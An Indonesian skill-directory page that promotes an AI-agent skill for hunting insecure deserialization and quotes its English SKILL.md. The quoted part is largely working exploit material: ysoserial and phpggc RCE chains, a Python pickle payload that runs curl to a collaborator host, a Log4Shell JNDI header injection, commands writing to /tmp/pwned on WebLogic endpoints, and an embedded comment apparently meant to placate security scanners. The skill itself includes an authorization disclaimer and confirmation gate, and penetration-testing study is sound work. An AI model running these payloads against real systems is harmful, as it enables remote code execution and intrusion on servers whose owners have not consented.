Langsung ke konten
Skillpedia
Keamanan48k Β· #4867

hunt-deserialization

Fungsinya

Tool ini membantu menemukan celah keamanan dalam cara sebuah program menangani data yang masuk. Tool ini secara khusus mencari jenis kerentanan bernama 'insecure deserialization', yang bisa memungkinkan penyerang menjalankan perintah berbahaya di sistem.

Kapan dipakai

  • βœ“Saat menguji keamanan aplikasi web.
  • βœ“Untuk memeriksa apakah server rentan terhadap serangan remote code execution.
  • βœ“Selama audit keamanan untuk menemukan kelemahan yang sudah diketahui.

Link skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-deserialization/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-deserialization/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œPeriksa apakah website example.com rentan terhadap insecure deserialization.”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Tool mengirimkan data yang dibuat khusus ke target dan mengamati apakah program bereaksi di luar dugaan, yang menandakan adanya potensi celah. Tool ini menggunakan teknik yang sudah dikenal untuk mengeksploitasi berbagai bahasa pemrograman (Java, PHP, Python, dll.).

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-DESERIALIZATION β€” Insecure Deserialization

Crown Jewel Targets

Deserialization bugs are almost always Critical β€” they lead directly to RCE without prerequisite conditions.

Highest-value chains:

  • Java ysoserial gadget chains β€” CommonsCollections, Spring, JNDI, Groovy gadgets β†’ full OS command execution
  • PHP Object Injection β€” __wakeup / __destruct magic methods β†’ file write / RCE
  • Python pickle β€” pickle.loads(attacker_data) β†’ __reduce__ β†’ os.system('id')
  • .NET BinaryFormatter β€” TypeConfuseDelegate gadget chain β†’ RCE
  • Ruby Marshal.load β€” Gem::Requirement, Gem::Installer gadgets β†’ RCE
  • JNDI injection β€” Log4Shell pattern: ${jndi:ldap://attacker/a} β†’ class load β†’ RCE

Attack Surface Signals

Detection Patterns

# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05 <!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/

Header / Cookie Signals

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

Step-by-Step Hunting Methodology

Phase 1 β€” Java Deserialization (ysoserial)

# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"

Phase 2 β€” PHP Object Injection

# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes β†’ deserialization confirmed

# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64

Phase 3 β€” Python Pickle

# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl

Phase 3b β€” PHP phar://, Python YAML, Node deserialization

  • PHP phar:// (no unserialize() call) β€” any filesystem function (file_exists/fopen/getimagesize) on a phar:// path deserializes the archive metadata -> object injection with zero unserialize() in code.
    phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
    

…

Pertanyaan umum

Apa itu 'insecure deserialization'?

Itu terjadi ketika program terlalu percaya pada data yang diterima dari sumber eksternal dan merekonstruksinya tanpa memeriksa apakah data tersebut aman, sehingga data berbahaya bisa menjalankan kode.

Apa itu RCE?

RCE adalah singkatan dari 'Remote Code Execution'. Ini adalah kerentanan kritis yang memungkinkan penyerang menjalankan perintah di komputer korban dari jarak jauh.

Apakah saya perlu izin untuk menggunakan tool ini?

Ya, sangat penting untuk memiliki izin tertulis yang jelas dari pemilik sistem sebelum menggunakan tool ini. Penggunaan tanpa izin adalah tindakan ilegal.

Detail

Deskripsi asli dari pembuat

Hunt Insecure Deserialization

repo: sickn33/agentic-awesome-skills

Popularitas

Bintang GitHub
48k
Peringkat
#4867
Lisensi
MIT
Diperbarui
15/10/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa